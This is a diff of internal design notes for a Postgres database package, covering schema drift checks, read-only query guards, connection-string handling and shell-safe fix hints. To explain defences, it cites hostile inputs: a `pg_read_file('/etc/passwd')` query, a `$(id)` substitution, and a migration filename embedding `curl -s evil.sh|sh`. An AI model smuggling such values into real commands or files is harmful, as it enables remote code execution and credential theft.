comma*, at `<= 100`. `snapshot-json.test.ts` proves it by running the repo's own `biome format` over
|
|
1205
|
-
the output and demanding no change — a pinned expected string could not have caught the boundary,
|
|
1206
|
-
and the naive spelling is asserted to fail the same check so the test cannot pass by doing nothing.
|
|
1207
|
-
|
|
1208
|
-
`introspect()` reads an index's columns in **index key order** (`indkey`, not `attnum`) and carries
|
|
1209
|
-
its predicate and direction. Ordering by `attnum` returned a composite index's columns in table
|
|
1210
|
-
order, which reads correct and compares wrong.
|
|
1211
|
-
|
|
1212
|
-
A foreign key's two column lists are read the same way and, crucially, **together**: `conkey` and
|
|
1213
|
-
`confkey` are unnested in one `unnest(a, b) with ordinality` and ordered by that shared position,
|
|
1214
|
-
because they are one ordered pairing and not two sets. Matching each independently
|
|
1215
|
-
(`sa.attnum = any(c.conkey)`, `ta.attnum = any(c.confkey)`) is a cross product — a two-column key
|
|
1216
|
-
came back as four source columns against four referenced ones, duplicated and misaligned, so
|
|
1217
|
-
`compareForeignKeys` judged a correct database as drift and the admin schema view showed a key
|
|
1218
|
-
that does not exist. Only a real engine can tell the two queries apart, which is what
|
|
1219
|
-
`introspect-embedded.test.ts` is for: it boots PGlite, declares `(org_id, user_id) references users
|
|
1220
|
-
(tenant_id, id)` — neither list alphabetical, the two orders deliberately different — and asserts
|
|
1221
|
-
the pair comes back whole. Same split as `pglite.test.ts`/`pglite-embedded.test.ts`:
|
|
1222
|
-
`introspect.test.ts` pins the row -> description fold against a recording client, and the embedded
|
|
1223
|
-
file pins the catalog SQL against Postgres.
|
|
1224
|
-
|
|
1225
|
-
`appTables()` is why it can run: a table in the `x_` namespace is framework bookkeeping — the
|
|
1226
|
-
ledger, `x_jobs`/`x_job_steps`, `x_outbox` and every `@ultimat3/auth` table are `create table if not
|
|
1227
|
-
exists` at boot, declared by no migration and carried in no snapshot, so counted as app schema they
|
|
1228
|
-
are eight `unexpected-table` findings against a correct database. The prefix is the rule, not a
|
|
1229
|
-
list, so a table a future package adds needs no second declaration here. `introspect()` keeps its
|
|
1230
|
-
narrower default (`x_migrations` alone) because the admin schema view and the MCP `schema.describe`
|
|
1231
|
-
tool legitimately show `x_users` — only drift wants the whole namespace gone. That last sentence is
|
|
1232
|
-
a *reservation*, not a description, `As of 2026-08-24`: nothing outside this package imports
|
|
1233
|
-
`introspect()` today, and `schema.describe` (`@ultimat3/mcp`'s `dev-server.ts`) answers from the
|
|
1234
|
-
entity registry.
|
|
1235
|
-
|
|
1236
|
-
**`app-relation.ts` is the other half, and it is ownership, never a name — issue #340,
|
|
1237
|
-
`As of 2026-08-24`.** `pg_stat_statements` is a view an extension owns, the CNPG/RDS/Supabase
|
|
1238
|
-
default puts it in `public` of every database, and the drift audit after `ROLE=migrate` reported it
|
|
1239
|
-
as `unexpected-table` with `x db gen "add pg_stat_statements"` as the fix — so every deploy of the
|
|
1240
|
-
demo app failed terminally for 16 hours, and following the fix would have written an extension's
|
|
1241
|
-
internal view into the app's migration set. `nonAppRelations(client, schema)` names what
|
|
1242
|
-
`introspect()` must not see, and `introspect()` merges it into `excluded` **unconditionally**: an
|
|
1243
|
-
explicit `exclude` replaces the `x_migrations` default, never this set, because an extension's
|
|
1244
|
-
relations are not app schema in any deployment and that is not a caller's to switch off.
|
|
1245
|
-
|
|
1246
|
-
Two disqualifications, one question. **Extension ownership is read out of `pg_depend`**
|
|
1247
|
-
(`deptype = 'e'`, `refclassid = 'pg_extension'`) — Postgres' own record, and the only rule that
|
|
1248
|
-
generalises: a `pg_*` prefix would have covered the reported view and missed `postgis`'
|
|
1249
|
-
`spatial_ref_sys`, `timescaledb`'s catalog, and `pg_stat_statements`' own `pg_stat_statements_info`
|
|
1250
|
-
sibling, which is a real `relkind = 'r'` table. **A view, a materialised view and a foreign table
|
|
1251
|
-
are not tables**, whoever made them: measured on PGlite, a plain `create view` reaches
|
|
1252
|
-
`information_schema.columns` while the index query already fences on `relkind = 'r'`, so one arrived
|
|
1253
|
-
as a table with columns, no primary key and no indexes — a `TableDescription` that cannot be true,
|
|
1254
|
-
and a finding no author could clear because no snapshot records a view. Excluding by NAME is safe
|
|
1255
|
-
because `pg_class` names are unique within a namespace.
|
|
1256
|
-
|
|
1257
|
-
Nothing else in the audit had the same hole. An extension cannot own a **column** of a table it does
|
|
1258
|
-
not own — `alter extension … add` has no `COLUMN` form — so `unexpected-column` is unreachable that
|
|
1259
|
-
way. **Types and enums** are never compared (`compareTable` reads nullability and existence, never
|
|
1260
|
-
the type). **Indexes and foreign keys** are judged on the declared side only, so an extension's
|
|
1261
|
-
index on an app table was already silent. `introspect-embedded.test.ts` proves the predicate against
|
|
1262
|
-
a real catalog by writing the exact `pg_depend` row `create extension` writes; a recording client
|
|
1263
|
-
can only pin the SQL text, which is what `app-relation.test.ts` does.
|
|
1264
|
-
|
|
1265
|
-
The `X_DB_DRIFT` rendering in `drift.ts` and the title in `DB_ERROR_TITLES` are pinned by the
|
|
1266
|
-
framework contract and duplicated in `@ultimat3/entity`. Change them together or not at all.
|
|
1267
|
-
`errors.ts` registers `DB_ERROR_TITLES` **unconditionally**, in one call, and that is deliberate:
|
|
1268
|
-
a presence guard would turn "a second package claims one of db's codes" from an
|
|
1269
|
-
`X_ERROR_CODE_DUPLICATE` at import into whichever module loaded first deciding the title. Entity
|
|
1270
|
-
borrows `X_DB_DRIFT` and declares no title for it, for the same reason.
|
|
1271
|
-
|
|
1272
|
-
**This package owns no "is this SQL a write?" lexer, `As of 2026-08`, and must not grow one back.**
|
|
1273
|
-
`readonly.ts` held one — `inspectStatement`/`assertReadOnly`/`readOnly(client)`, a regex-gated
|
|
1274
|
-
`DbClient` wrapper on the public API — with **zero callers** in the framework or in either tracked
|
|
1275
|
-
app. It was the weakest of the three the framework had shipped — a 22-word list matched with `\b…\b`
|
|
1276
|
-
against blanked text, so it judges statement keywords and nothing else: `select pg_sleep(60)`,
|
|
1277
|
-
`select pg_read_file('/etc/passwd')`, `select pg_advisory_lock(1)`, `select set_config(…)` and any
|
|
1278
|
-
writing function call all read as reads, because `_` is a word character and the keyword never
|
|
1279
|
-
stands alone. `@ultimat3/mcp`'s guard refuses each by called-function prefix. And it was the copy an
|
|
1280
|
-
app author would find first, because it was the one on a public API. Deleted
|
|
1281
|
-
with `readonlyViolation()` and `X_READONLY_VIOLATION`. The two layers that remain are the ones the
|
|
1282
|
-
server enforces or a real parser decides: `readOnlyQuery()` (`BEGIN READ ONLY` + statement timeout,
|
|
1283
|
-
layer 2) under `ensureReadOnlyRole()` (a `NOLOGIN` SELECT-only role, layer 1), with
|
|
1284
|
-
`@ultimat3/mcp`'s `assertReadOnlyQuery` as layer 3. `errors.test.ts` pins `DB_OWNED_ERROR_CODES`,
|
|
1285
|
-
so re-adding the code is a failing test; a second keyword list is not something a test can see, so
|
|
1286
|
-
it is this line's job to refuse it.
|
|
1287
|
-
|
|
1288
|
-
**`readOnlyQuery` takes ONE statement**, refused through `statementsOf` before the transaction
|
|
1289
|
-
opens (`X_SQL_UNSAFE`, `multipleStatements`). This is not a second mutating-keyword scan — it is a
|
|
1290
|
-
different question, and the one the layer's own guards depend on: the statement is *spliced* into
|
|
1291
|
-
`DECLARE … CURSOR FOR`, and only the first command of that text is bounded by the `SET LOCAL
|
|
1292
|
-
statement_timeout` set moments earlier, so `select 1; set statement_timeout = 0` undid the guard
|
|
1293
|
-
while `guards` went on reporting `timeout:5000ms`. `BEGIN READ ONLY` still held, so this was a
|
|
1294
|
-
defeated layer reported as an engaged one rather than a write — and a guard list that lies is worse
|
|
1295
|
-
than a guard list that is short. `statementsOf` is the package's one splitter, so a `;` inside a
|
|
1296
|
-
literal, a comment or a dollar-quoted body stays data. **And the splice takes the splitter's
|
|
1297
|
-
answer, `As of 2026-08-23`** — `statements[0]`, never the caller's text with a trailing `;` chopped
|
|
1298
|
-
off it by a regex. That second answer only saw a `;` at the very END: `select 1; -- note` is one
|
|
1299
|
-
statement to the splitter and does not end in `;`, so it reached the `DECLARE` whole and Postgres
|
|
1300
|
-
answered `cannot insert multiple commands into a prepared statement`, uncoded, out of the path
|
|
1301
|
-
whose whole job is bounding the read. The uncursored path still sends the caller's text
|
|
1302
|
-
byte-for-byte, because it splices nothing.
|
|
1303
|
-
|
|
1304
|
-
`readonly-role.ts` and `readonly-query.ts` are layers 1–2 of that tool's defence-in-depth: a
|
|
1305
|
-
`NOLOGIN` Postgres role (`ensureReadOnlyRole`) and a per-statement `BEGIN READ ONLY` + statement
|
|
1306
|
-
timeout (`readOnlyQuery`). Only layer 1 degrades: `ensureReadOnlyRole` returns `null` on a missing
|
|
1307
|
-
permission and leaves reporting the degraded layer to the caller. **`readOnlyQuery` throws** — a
|
|
1308
|
-
failed reservation (`X_DB_UNAVAILABLE`), `SET LOCAL ROLE`, transaction command or the statement
|
|
1309
|
-
itself all reach the caller, and every caller must handle that. Layers 3–4 (pre-parse scan, MCP
|
|
1310
|
-
policy) live in `@ultimat3/mcp`, which must still never import this package — the CLI wires the
|
|
1311
|
-
two together.
|
|
1312
|
-
|
|
1313
|
-
**`libpq-options.ts` merges the framework's `options` into the operator's, and `connectionUrl` may
|
|
1314
|
-
not `set` that key again.** `DATABASE_URL` is the operator's file: `url.searchParams.set('options',
|
|
1315
|
-
…)` REPLACED whatever they had written, and only on the roles whose `statementTimeoutMs` is
|
|
1316
|
-
non-zero — so `?options=-c search_path=app` survived on `migrate` and `replicator` and was dropped
|
|
1317
|
-
on `web`, `sync`, `worker` and `scheduler`, i.e. the role that runs the migrations and the role that
|
|
1318
|
-
serves the traffic looked at different schemas with nothing reporting it. Precedence is **the
|
|
1319
|
-
framework wins on the names it sets, the operator keeps every other flag**, and it is enforced by
|
|
1320
|
-
removing those names from the operator's tokens before appending, never by position: "the last `-c`
|
|
1321
|
-
wins" is backend argument-order behaviour nobody here measured. The bound is emitted for all six
|
|
1322
|
-
roles including the two whose value is `0` — `0` is `migrate` saying it may take as long as it
|
|
1323
|
-
takes, and left unsaid an `alter database … set statement_timeout` on the server kills the one role
|
|
1324
|
-
that must outlive it. The splitter honours libpq's backslash escape, so a `search_path=two\ words`
|
|
1325
|
-
survives the round trip whole.
|
|
1326
|
-
|
|
1327
|
-
- **Every numeric option this package bounds anything with is screened, `As of 2026-08-26`** —
|
|
1328
|
-
through core's `finiteCount`, which borrows `X_INVARIANT` as this package already does.
|
|
1329
|
-
`replicaClient`'s `breakerFailures` and `breakerCooldownMs` (a breaker is two comparisons and
|
|
1330
|
-
nothing else: `failures >= NaN` never opens it, `monotonic() < NaN` never parks it, so every read
|
|
1331
|
-
keeps going to the replica that is failing), `migrate`'s `lockWaitMs` (`NaN - elapsed <= 0` is
|
|
1332
|
-
false and `Bun.sleep(NaN)` does not sleep — a tight spin re-taking `pg_try_advisory_lock`, not an
|
|
1333
|
-
unbounded wait) and `readonlyQuery`'s `timeoutMs`, plus `client.ts`'s pool profile. The last one
|
|
1334
|
-
is a **behaviour change**: it used to normalise `NaN` to the default silently, so an agent read
|
|
1335
|
-
ran under a ceiling nobody wrote. Only an explicit `0` disables that layer, which is why its floor
|
|
1336
|
-
is 0 and not 1.
|
|
1337
|
-
|
|
1338
|
-
- **`client.ts` reached the 500-line ceiling on 2026-08-26, and shed the five jobs that were not
|
|
1339
|
-
"open a connection and send a statement".** `pool-profile.ts` owns the six numbers a pool runs
|
|
1340
|
-
on — the per-role table, `DATABASE_POOL_MAX` and the screen every merged profile passes;
|
|
1341
|
-
`connection-url.ts` builds the connection string (the libpq `options` merge and the
|
|
1342
|
-
`application_name` label); `bun-sql.ts` declares the slice of `Bun.SQL` this package uses and
|
|
1343
|
-
looks the global up lazily;
|
|
1344
|
-
`pool-reserve.ts` is `reserve()` under the acquire deadline; `db-health.ts` is `checkDb`, the
|
|
1345
|
-
`/readyz` report. `client.ts` keeps connecting, the client object and the ambient `db()` —
|
|
1346
|
-
and it still opens no socket at import, because `bunSqlFactory()` is reached from inside
|
|
1347
|
-
`connect()`. The **statement funnel** left with it on the same day, once the 500-line ceiling
|
|
1348
|
-
turned out not to be the bound this package is held to: `packages/db/src/**/*.ts` carries a
|
|
1349
|
-
path instruction of 200, and 263 lines is over it. `statement-funnel.ts` is `sendOn`/`runOn`
|
|
1350
|
-
plus the two shape helpers (`rowsOf`, `affectedBy`) — the seam this file already documents, and
|
|
1351
|
-
the one piece of `createPostgresClient` that closed over none of its state, so the move is a
|
|
1352
|
-
cut and a paste with no signature invented for it. Nothing outside this package imported any of
|
|
1353
|
-
the four, so no test's imports moved and no assertion changed. **The public surface did not move**: `src/index.ts` exports every one of those
|
|
1354
|
-
names from its new module, so `@ultimat3/db` is byte-identical to what it was. The same day,
|
|
1355
|
-
`drift.test.ts` split three ways along the three questions it was asking — `drift.test.ts`
|
|
1356
|
-
(tables and columns), `drift-index.test.ts` and `drift-ledger.test.ts` (what the migrations
|
|
1357
|
-
declare, and the post-migrate check) — over one shared `drift-fixtures.ts`, which
|
|
1358
|
-
`drift-foreign-key.test.ts` now imports instead of carrying its own byte-identical copy.
|
|
1359
|
-
|
|
1360
|
-
- **`DATABASE_URL`'s SCHEME is screened at boot, `As of 2026-08-26`** (issue #367). `new URL()`
|
|
1361
|
-
accepts a scheme-less connection string — `db.internal:5432/app` parses with `db.internal:` as
|
|
1362
|
-
the SCHEME and `5432/app` as the path — so `connectionUrl` saw a well-formed url and handed it
|
|
1363
|
-
on. Measured on bun 1.4.0, `Bun.SQL` then reads it as host `db.internal`, port 5432, database
|
|
1364
|
-
`app` and opens a Postgres pool on it, so the first symptom is a connect failure at the first
|
|
1365
|
-
QUERY, in another process phase, worded by the driver and naming neither the variable nor the
|
|
1366
|
-
missing `postgres://`. `POSTGRES_SCHEMES` is closed at **`postgres:` and `postgresql:`** —
|
|
1367
|
-
measured, not assumed: those two answer `adapter: 'postgres'`, while `pg:`, `tcp:` and
|
|
1368
|
-
`postgresql+ssl:` are refused by the driver itself (`Unsupported protocol: … Supported adapters:
|
|
1369
|
-
"postgres", "sqlite", "mysql", "mariadb"`), so excluding them costs a capability nobody has. The
|
|
1370
|
-
direction that matters is the one the driver ACCEPTS: `mysql:`, `mariadb:`, `sqlite:` and
|
|
1371
|
-
`file:` open a **different engine** and every statement generated here is Postgres. A
|
|
1372
|
-
**behaviour change**, not a defect repair — it narrows what the framework accepts, which is why
|
|
1373
|
-
it was deferred out of #364.
|
|
1374
|
-
**The received scheme is deliberately never echoed**, and this is the one refusal in the package
|
|
1375
|
-
that withholds the actionable token. `URL` reads the first token as the scheme, and for the value
|
|
1376
|
-
this exists for that token is the HOST (`db.internal:`); one dashboard field over
|
|
1377
|
-
(`app:hunter2@db.internal/app`) it is the USERNAME. Naming "the scheme" therefore puts a host or
|
|
1378
|
-
a credential in the boot log and the `--json` payload, where the logger has no key left to redact
|
|
1379
|
-
it by. The REQUIRED scheme is a constant and carries the whole instruction, and `describeValue`
|
|
1380
|
-
still keeps the shape, so an empty variable is told apart from a truncated one.
|
|
1381
|
-
`connection-url.test.ts` asserts the absence, so echoing it back is a failing test.
|
|
1382
|
-
|
|
1383
|
-
- **`unexpectedTable`'s `fix:` no longer names `x db gen`, `As of 2026-08-26`** (issue #345). That
|
|
1384
|
-
command diffs the ENTITY REGISTRY against the newest snapshot, and a table nothing declares is on
|
|
1385
|
-
neither side of it — so the diff came back empty, the generator's empty-diff branch writes NO
|
|
1386
|
-
file, and the reader had nothing to run and the same finding on the next deploy. The two edits
|
|
1387
|
-
that do resolve it are named instead: a `create table if not exists` in a migration (which
|
|
1388
|
-
`x db migrate` then accepts, through `@ultimat3/cli`'s `acceptCreatedTables`), or `psql … drop
|
|
1389
|
-
table` for a table nothing owns. No migration PATH is named — where an app keeps its migrations is
|
|
1390
|
-
the CLI's fact. `X_DB_DRIFT` is a shipped code and is unchanged; only this `fix:` text moved.
|
|
1391
|
-
|
|
1392
|
-
- **A name a `fix:` puts in a command is screened ONCE, by `shellInertIdentifier()` (`sql.ts`),
|
|
1393
|
-
`As of 2026-08-26`.** `identifier()` answers about SQL and cannot close this: it refuses `"`,
|
|
1394
|
-
`\` and whitespace and **accepts** a backtick and a `$` — `SAFE_IDENTIFIER` allows `$` on its
|
|
1395
|
-
fast path — which are exactly the two characters a shell substitutes inside DOUBLE quotes. A
|
|
1396
|
-
`fix:` is pasted into a shell at least as often as into a psql session, so a column named
|
|
1397
|
-
`$(id)` inside `x db gen "add $(id)"` RUNS `id` the moment its reader pastes the line, and a
|
|
1398
|
-
screen reusing `identifier()` unchanged ships a green suite over a live command-execution hole.
|
|
1399
|
-
It began as a private `writableName` in `drift-findings.ts` and was promoted rather than copied:
|
|
1400
|
-
three copies of a string-literal escape shipped here once and two were wrong the same way
|
|
1401
|
-
(`scripts/sql-literal-copies.ts`). Callers **degrade to prose** — the argument to `x db gen` is a
|
|
1402
|
-
migration DESCRIPTION, not an identifier, so no quoted form makes a hostile name safe to pass,
|
|
1403
|
-
and the name is read off `cause`/`meta` instead. Every benign rendering is byte-identical: the
|
|
1404
|
-
screen sits on the refusal branch alone, because roughly ten pages across `packages/cli`,
|
|
1405
|
-
`packages/core`, `wiki/` and `docs/` quote `x db gen "add <name>"` verbatim.
|
|
1406
|
-
**`unknownSchema` was the one finding in that file that never ran it, until 2026-09-06.** Its
|
|
1407
|
-
`fix:` splices a migration id into `git checkout -- "*<id>.snapshot.json"` and a migration name
|
|
1408
|
-
into `x db gen "<name>"`, both inside shell double quotes — and both are FILENAME text
|
|
1409
|
-
(`parseMigrationSql` takes the id off the file and derives the name from it), so a migration
|
|
1410
|
-
called `0002_$(curl -s evil.sh|sh).sql` built a line that runs on paste. Screened and degraded
|
|
1411
|
-
to prose like its neighbours; an **empty** id keeps its glob, because `""` substitutes nothing
|
|
1412
|
-
and that case is "no migrations at all" rather than a name the screen refused
|
|
1413
|
-
(`drift-findings.test.ts`).
|
|
1414
|
-
**`migrationSnapshotMissing` is the same condition one file over, screened the same day.** Its
|
|
1415
|
-
`fix:` leads with `git checkout -- <file>` and then `rm <file-glob> && x db gen "<name>"` — the
|
|
1416
|
-
one `rm` this package tells a reader to paste — off the same filename text. It screens through
|
|
1417
|
-
`@ultimat3/core`'s `renderFixShellArg` rather than `shellInertIdentifier`, because
|
|
1418
|
-
`migration-errors.ts` may not import `sql.ts` (that module imports `identifierUnsafe` from it,
|
|
1419
|
-
and the cycle would run around the module whose evaluation registers every code); the two
|
|
1420
|
-
screens answer the same question and the degradation is identical — the WHOLE line becomes
|
|
1421
|
-
prose, since a `rm` whose argument was substituted away still reads as a command and now removes
|
|
1422
|
-
something else. `x db gen` writes slugified ids (`generate.ts`'s `slugify`), so no id the
|
|
1423
|
-
generator produces is degraded (`snapshot-missing.test.ts`).
|
|
1424
|
-
|
|
1425
|
-
- **`dbDrift()` lives in `drift-errors.ts` and not in `errors.ts`, for exactly the reason
|
|
1426
|
-
`dependent-view.ts` states.** Its `fix:` needs `shellInertIdentifier` and `sql.ts` imports
|
|
1427
|
-
`errors.ts`, so keeping the constructor there is an import cycle around the module whose
|
|
1428
|
-
evaluation REGISTERS every code. `dependent-view.ts` avoided the same cycle by handing
|
|
1429
|
-
`errors.ts` a finished string; that is not available here, because `dbDrift(table, column)` is
|
|
1430
|
-
public API shipped since 1.0 and its signature cannot change. So the constructor moved instead,
|
|
1431
|
-
the way `migration-errors.ts` and `invariant-errors.ts` did — `X_DB_DRIFT` is still declared,
|
|
1432
|
-
titled and registered in `errors.ts`, and `src/index.ts` still exports the same name, so the
|
|
1433
|
-
public surface is byte-identical. `@ultimat3/entity`'s mirror screens through the **same**
|
|
1434
|
-
export across the tier seam (tier 2 → tier 1), which is what keeps the "keep in sync" comment on
|
|
1435
|
-
both declarations true; `packages/entity/src/errors.test.ts` asserts the two texts are equal,
|
|
1436
|
-
so a one-sided edit is a failing test rather than a comment nobody read.
|
|
1437
|
-
|
|
1438
|
-
- **A JS array bound as a parameter is rendered here, because `Bun.SQL` does not render it,
|
|
1439
|
-
`As of 2026-08-26`** (issue #384). `Bun.SQL`'s positional form serialises an array by JOINING ITS
|
|
1440
|
-
ELEMENTS WITH COMMAS, so `unsafe('select $1::text[]', [['x', 'y']])` sends the string `x,y` and
|
|
1441
|
-
Postgres answers `22P02 malformed array literal: "x,y"` — measured on bun 1.4.0 against Postgres
|
|
1442
|
-
17. **Three shipped statements bind an array and all three failed**: `@ultimat3/jobs`' `SQL_CLAIM`
|
|
1443
|
-
(the whole loop of every `ROLE=worker` container the framework produces, so a real deployment
|
|
1444
|
-
claimed nothing and every job sat in its queue), `SQL_OUTBOX_RELEASE` (the relay giving an
|
|
1445
|
-
unpublished batch back) and `@ultimat3/notify`'s `SQL_NOTIFY_INBOX_MARK_READ`.
|
|
1446
|
-
`array-parameter.ts` is the encoder and `sendOn` (`statement-funnel.ts`) is the one caller — this
|
|
1447
|
-
driver's only `unsafe` call, so one encoder is every caller fixed and a helper each site imports
|
|
1448
|
-
is three chances to forget and a fourth site tomorrow that does (axiom 1).
|
|
1449
|
-
|
|
1450
|
-
**Why nothing caught it, and why the repair test is in `@ultimat3/cli`.** `pglite.ts` is a
|
|
1451
|
-
separate driver that encodes an array correctly, and `x dev` runs the embedded default — so the
|
|
1452
|
-
framework's own dev loop is blind by construction and only a container with `DATABASE_URL` ever
|
|
1453
|
-
meets the failure. Every other test of those three statements runs against a recording executor
|
|
1454
|
-
and asserts their SQL as TEXT, which cannot see whether a parameter PARSES;
|
|
1455
|
-
`grep -rln '\.claim(' --include=*.live.test.ts packages/` answered ONE file before this landed.
|
|
1456
|
-
`packages/db/src/array-parameter.live.test.ts` pins the grammar against a real server — and
|
|
1457
|
-
asserts the RAW array is still refused, so deleting the encoder fails rather than passing on any
|
|
1458
|
-
driver that happens to encode. `packages/cli/src/pg-array.live.test.ts` is the composition test:
|
|
1459
|
-
it is in `cli` because nothing else can see all three — this package is tier 1 and may not import
|
|
1460
|
-
`jobs` (3) or `notify` (4), and neither of those can build a db-backed `PgExecutor` — so
|
|
1461
|
-
`pgExecutorFor(createPostgresClient(...))`, the executor every booted role actually gets, is the
|
|
1462
|
-
only place the three real statements meet the real driver.
|
|
1463
|
-
|
|
1464
|
-
Three grammar rules earn their line. **`NULL` bare is the array null and `"NULL"` is the
|
|
1465
|
-
four-character string**, so a JS `null` renders bare and a queue really spelled `NULL` must not
|
|
1466
|
-
become one. **Quoting is by content, not by type** — a comma, a brace, a quote, a backslash,
|
|
1467
|
-
surrounding whitespace or the empty string, which unquoted is not an element at all. **A
|
|
1468
|
-
`Uint8Array` is BYTEA and is deliberately not an array**: `Array.isArray` answers `false` for a
|
|
1469
|
-
typed array, which is behaviour this relies on rather than a case it writes. **A RAGGED nest is
|
|
1470
|
-
REFUSED**, never rendered — Postgres has no jagged array and `{{a,b},{c}}` is the same `22P02`,
|
|
1471
|
-
measured on 17 beside the rectangular `{{a,b},{c,d}}` that parses, so a literal this module is
|
|
1472
|
-
willing to emit is one the server is willing to read. `X_INVARIANT` through core's `assert`, the
|
|
1473
|
-
code this package already borrows for a value this build cannot honour; mixed depth (`{a,{b,c}}`)
|
|
1474
|
-
is caught by the same guard, which a rule comparing row LENGTHS alone would let through. And the
|
|
1475
|
-
common path allocates nothing — one `some` over a short list, then the caller's own array by identity, because
|
|
1476
|
-
every statement the framework runs passes through here and almost none binds an array (axiom 6).
|
|
20
|
+
| Files | < 200 LOC (the `packages/db/src/**/*.ts` path instruction), one responsibility, `kebab-case.ts`, test beside source |
|
|
21
|
+
|
|
22
|
+
Pinned public seam — `@ultimat3/auth`, `@ultimat3/entity` and `@ultimat3/jobs` are written against
|
|
23
|
+
these exact names: `SqlFragment`, `sql`, `raw`, `identifier`, `join`, `DbClient`, `DbTx`, `db`,
|
|
24
|
+
`setDbClient`, `withTransaction`, `currentTx`.
|
|
25
|
+
|
|
26
|
+
Deliberate cycle (safe): `client.ts ⇄ transaction.ts`, and `pglite.ts → transaction.ts`. `db()`
|
|
27
|
+
consults `currentTx()`; `withTransaction` uses `baseClient()`, never `db()`. Keep both sides
|
|
28
|
+
`function` declarations.
|
|
29
|
+
|
|
30
|
+
## Connections and transactions
|
|
31
|
+
|
|
32
|
+
- **`pglite.ts` is a pool of exactly one**; `reserve()` (`pglite-turns.ts`) serialises `BEGIN`s. Three
|
|
33
|
+
rules: the plain path takes a turn; a statement inside a LIVE transaction on THIS client
|
|
34
|
+
(`liveTxConnection()`, never `currentTx() !== undefined`) skips the queue; a reservation runs direct
|
|
35
|
+
only while its turn is held. `pglite-embedded.test.ts`, `pglite.test.ts`,
|
|
36
|
+
`pglite-two-clients.test.ts`, `pglite-observer.test.ts`.
|
|
37
|
+
- **The third rule is both drivers'**: `client.ts`'s pinned handle also runs direct only while held.
|
|
38
|
+
`release()` is idempotent on both; `DbConnection` and `Turn` are `Disposable` (`[Symbol.dispose]` is
|
|
39
|
+
`release()`).
|
|
40
|
+
- **A pin is held by `using`, never a hand-rolled `try/finally`** (`withTransaction`,
|
|
41
|
+
`readOnlyQuery`); `BEGIN` lives inside the guarded scope.
|
|
42
|
+
- **`sqlstate.ts`**: `errno` first, `code` second, both shape-tested (`^[0-9A-Z]{5}$`).
|
|
43
|
+
`DB_SQLSTATE_CODES` is closed; `driverError()` is its one consumer, `sendOn` its one caller.
|
|
44
|
+
- **`DbTx.origin` is the client the scope was opened on**, never the pin (entity's pinned-repository
|
|
45
|
+
check reads it); a nested scope reports the root's.
|
|
46
|
+
- **`withTransaction(fn, { retry })` re-runs `fn` only on `40001`/`40P01`**, default 0; each attempt
|
|
47
|
+
its own pin, `BEGIN` and undo list (`runRoot`); a nested `retry` is `X_INVARIANT`. A re-run waits
|
|
48
|
+
(`transaction-backoff.ts`: core's `backoffDelay`, 10 ms → 500 ms, full jitter; `{ sleep, random }`
|
|
49
|
+
are injection seams); nothing waits at retry 0 or after the last attempt.
|
|
50
|
+
- **Four codes are classified `retryable`** (`DB_ERROR_RETRY`: `X_DB_SERIALIZATION_FAILURE`,
|
|
51
|
+
`X_DB_LOCK_TIMEOUT`, `X_DB_POOL_EXHAUSTED`, `X_MIGRATE_CONCURRENT`); terminal ones are deliberately
|
|
52
|
+
unclassified (`errors-retry.test.ts` asserts the absence). Core's `retry()` executor is NOT adopted.
|
|
53
|
+
- **`BEGIN` re-derives its isolation level from the closed set** (`isolationMode` switch with a `never`
|
|
54
|
+
default; anything else `X_SQL_UNSAFE`).
|
|
55
|
+
- Transaction control: `ROLLBACK` / `ROLLBACK TO SAVEPOINT` are best-effort; `SAVEPOINT` and
|
|
56
|
+
`RELEASE SAVEPOINT` are deliberately uncaught.
|
|
57
|
+
- **`close()` is BOUNDED by the driver's own `{ timeout }` in SECONDS** (`drainTimeoutMs / 1000`);
|
|
58
|
+
`drainTimeoutMs: 0` sends no option; the verdict is elapsed time on `performance.now()`
|
|
59
|
+
(`X_DB_DRAIN_TIMEOUT`). `pool-drain.test.ts`, `pool-drain.live.test.ts`. `close()` clears the cached
|
|
60
|
+
driver before awaiting the teardown.
|
|
61
|
+
- `execute()` trusts the command tag only when `> 0`, in both drivers (`rowsOf`, `affectedBy`).
|
|
62
|
+
- **`client.ts` connects, holds the client and the ambient `db()`**, and opens no socket at import;
|
|
63
|
+
`pool-profile.ts`, `connection-url.ts`, `bun-sql.ts`, `pool-reserve.ts`, `db-health.ts` (`checkDb`)
|
|
64
|
+
and `statement-funnel.ts` (`sendOn`/`runOn`) hold the rest.
|
|
65
|
+
- **`libpq-options.ts` merges the framework's `options` into the operator's**: the framework wins on
|
|
66
|
+
the names it sets, the operator keeps every other flag; the bound is emitted for all six roles.
|
|
67
|
+
- **`DATABASE_URL`'s scheme is screened at boot** (`POSTGRES_SCHEMES`: `postgres:`, `postgresql:`); the
|
|
68
|
+
received scheme is never echoed (it may be a host or a credential). `connection-url.test.ts`.
|
|
69
|
+
- **A JS array bound as a parameter is rendered here** (`array-parameter.ts`, `bound-parameters.ts`,
|
|
70
|
+
called only by `sendOn`) — `Bun.SQL` joins elements with commas. `NULL` bare vs `"NULL"`; quoting by
|
|
71
|
+
content; a `Uint8Array` is BYTEA; a ragged nest is refused. `array-parameter.live.test.ts`;
|
|
72
|
+
`packages/cli/src/pg-array.live.test.ts` is the composition test.
|
|
73
|
+
- **Every numeric option is screened** through core's `finiteCount` (`replicaClient`'s breaker,
|
|
74
|
+
`migrate`'s `lockWaitMs`, `readonlyQuery`'s `timeoutMs` — only an explicit `0` disables it — the pool
|
|
75
|
+
profile, `reapBranches`' `maxAgeMs`).
|
|
76
|
+
|
|
77
|
+
## Observation
|
|
78
|
+
|
|
79
|
+
- **`observe.ts`: one process-wide `StatementObserver`** (`setStatementObserver()` /
|
|
80
|
+
`statementObserver()`). Guard at the call site; one observer, not a list; the seam swallows nothing;
|
|
81
|
+
`onStatement` is synchronous and must not issue SQL. Only `runOn` (`statement-funnel.ts`) and
|
|
82
|
+
`statement()` (`pglite.ts`) invoke it; both observe success and failure, and notify outside the
|
|
83
|
+
statement's own `try`.
|
|
84
|
+
- **`attribution.ts`**: `withStatementAttribution(entity, op, fn)` — guard first (two strings, no
|
|
85
|
+
allocation), a scope not a parameter, innermost pair wins; the funnels stamp it on both settle paths.
|
|
86
|
+
`@ultimat3/entity`'s `postgresRepo` is the one producer.
|
|
87
|
+
- **`statement-shape.ts`**: `statementFingerprint(event)` (`entity.op` when attributed, else collapsed
|
|
88
|
+
text) and `statementKind(text)` off `statementVerb(text)`. Read by `x dev`'s ledger and
|
|
89
|
+
`@ultimat3/testing`'s `statements` fixture. It counts nothing.
|
|
90
|
+
- **`statement-span.ts`**: `withStatementSpan` wraps the send alone — `db.<verb>`, attribute
|
|
91
|
+
